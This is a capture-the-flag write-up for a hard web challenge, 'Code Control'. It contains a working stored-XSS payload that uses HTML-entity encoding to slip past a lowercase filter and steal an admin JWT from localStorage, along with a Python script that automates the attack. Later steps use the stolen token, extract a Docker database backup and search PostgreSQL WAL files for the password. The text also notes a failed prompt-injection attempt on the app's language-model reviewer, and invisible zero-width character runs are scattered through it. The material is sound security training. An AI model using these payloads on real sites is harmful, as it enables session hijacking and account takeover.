← Back to Writeups
HTBN/AWeb

Code Control

XESXOR8/23/20264 min read
#web#htb#n/a

Code Control

Platform: Undutmaning | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-21 | Status: Solved Techniques: docker_layer_extraction, html_entity_encoding_bypass, jwt_token_exfiltration, postgresql_wal_analysis, stored_xss

Summary

Task: Code review service with XSS via HTML entity encoding to bypass lowercase filter. Solution: Exfiltrate admin JWT via stored XSS, access database backup from admin todos, extract PostgreSQL WAL file to find plaintext admin password.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: undutmaning | ID: 20260321_undutmaning_code_control
  • Tags: docker, jwt, xss, postgresql, html_entities, svelte, wal_forensics
  • Indicators: code lowercased before storage, Svelte {@html} directive, admin bot reviews submissions, database backup in todo list, PostgreSQL WAL files
  • Source: 20260321_undutmaning_code_control.md

Foothold

Vulnerability / Misconfiguration

  1. Docker_layer_extraction
  2. Html_entity_encoding_bypass
  3. Jwt_token_exfiltration
  4. Postgresql_wal_analysis
  5. Stored_xss
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • docker_layer_extraction
  • html_entity_encoding_bypass
  • jwt_token_exfiltration
  • postgresql_wal_analysis
  • stored_xss
  • Tags: docker, jwt, xss, postgresql, html_entities, svelte, wal_forensics

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A code review service by CASCADA where users can submit code for review. The challenge mentions "språkmodell" (language model). The admin's password IS the flag (password hint says "The flag you are looking for").

A web application for code review with the following API endpoints:

  • POST /api/users - Register user
  • POST /api/login - Returns JWT token
  • GET /api/user - User info including submitted code
  • GET /api/users - List all users
  • GET /api/todos - Admin only endpoint
  • POST /api/code - Submit code for review (max 350 chars) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Goal: Extract the admin's password which is the flag.

Analysis

XSS Vulnerability Discovery

  1. Lowercase Filter: The server lowercases all submitted code before storing
  2. Raw HTML Rendering: Code is rendered using Svelte's {@html} directive, allowing HTML injection
  3. HTML Entity Bypass: HTML entities (&#NN;) survive the lowercasing and are decoded by the browser

This allows bypassing the lowercase filter for JavaScript execution since &#83; becomes S after browser decoding. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Chain

  1. Submit XSS payload that exfiltrates admin's JWT token from localStorage
  2. Use admin token to access /api/todos endpoint
  3. Discover database backup link in todos
  4. Extract PostgreSQL WAL files from Docker image
  5. Find plaintext admin password in WAL file

Solution

Step 1: XSS Payload with HTML Entity Encoding

def encode_uppercase(s):
    """Only encode uppercase letters to HTML entities"""
    result = []
    for c in s:
        if c.isupper():
            result.append(f'&#x{ord(c):x};')
        else:
            result.append(c)
    return ''.join(result)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Payload to create a new user with admin's JWT token as password_hint:

<img src=x onerror="fetch('/api/users',{method:'&#80;&#79;&#83;&#84;',headers:{'&#67;ontent-&#84;ype':'application/json'},body:&#74;&#83;&#79;&#78;.stringify({username:'stolen',password:'x',password_hint:local&#83;torage.get&#73;tem('&#84;&#79;&#75;&#69;&#78;')})})">

Step 2: Admin Token Exfiltration

#!/usr/bin/env python3
import requests
import random

BASE = "https://undutmaning-code-control.chals.io"

# Create user and submit XSS
rand = random.randint(10000, 99999)
username = f"xss{rand}"
password = f"pass{rand}"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

r = requests.post(f"{BASE}/api/users", json={
    "username": username,
    "password": password,
    "password_hint": "hint"
})

r = requests.post(f"{BASE}/api/login", json={
    "username": username,
    "password": password
})
token = r.json()["token"]

# XSS payload to steal admin token
payload = '<img src=x onerror="fetch(\'/api/users\',{method:\'&#80;&#79;&#83;&#84;\',headers:{\'&#67;ontent-&#84;ype\':\'application/json\'},body:&#74;&#83;&#79;&#78;.stringify({username:\'stolen\',password:\'x\',password_hint:local&#83;torage.get&#73;tem(\'&#84;&#79;&#75;&#69;&#78;\')})})">'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

r = requests.post(f"{BASE}/api/code", 
    headers={"Authorization": f"Bearer {token}"},
    json={"code": payload}
)

Admin JWT obtained:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFkbWluIiwiZXhwIjoxODA1NTU3NTA2LCJpc19hZG1pbiI6dHJ1ZX0.-pi-nEgXZPQ0pdAW59kxHOrU6z7sB8tRZgGPYIQXh44

Step 3: Access Admin Todos

curl -s "https://undutmaning-code-control.chals.io/api/todos" \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFkbWluIiwiZXhwIjoxODA1NTU3NTA2LCJpc19hZG1pbiI6dHJ1ZX0.-pi-nEgXZPQ0pdAW59kxHOrU6z7sB8tRZgGPYIQXh44"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response reveals database backup:

[
  {"id": 4, "text": "Backup database", "completed": true, "link": "/db_backup.tar.xz"},
  {"id": 6, "text": "Fix issues in XSS-prevention module", "completed": false, "link": null}
]

Step 4: Docker Image Extraction

# Download backup
curl -O "https://undutmaning-code-control.chals.io/db_backup.tar.xz"

# Extract Docker image
tar -xf db_backup.tar.xz
cd docker_extract

# Extract each layer
for layer in */layer.tar; do
    tar -xf "$layer" -C extracted/
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: PostgreSQL WAL Forensics

# Search for flag in WAL file
strings ./var/lib/postgresql-data/data/pg_wal/000000010000000000000001 | grep "undut"

Output:

Admin=undut{REDACTED}=The flag you are looking for.

Step 6: Verify Flag

curl -s -X POST "https://undutmaning-code-control.chals.io/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"Admin","password":"undut{REDACTED}"}'

Successfully logged in as Admin.

What Didn't Work

  • JWT cracking with wordlists (secret was strong)
  • JWT alg=none attack (gave 403 Forbidden)
  • Prompt injection (code with "ignore" wasn't reviewed)
  • SQL injection in login ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR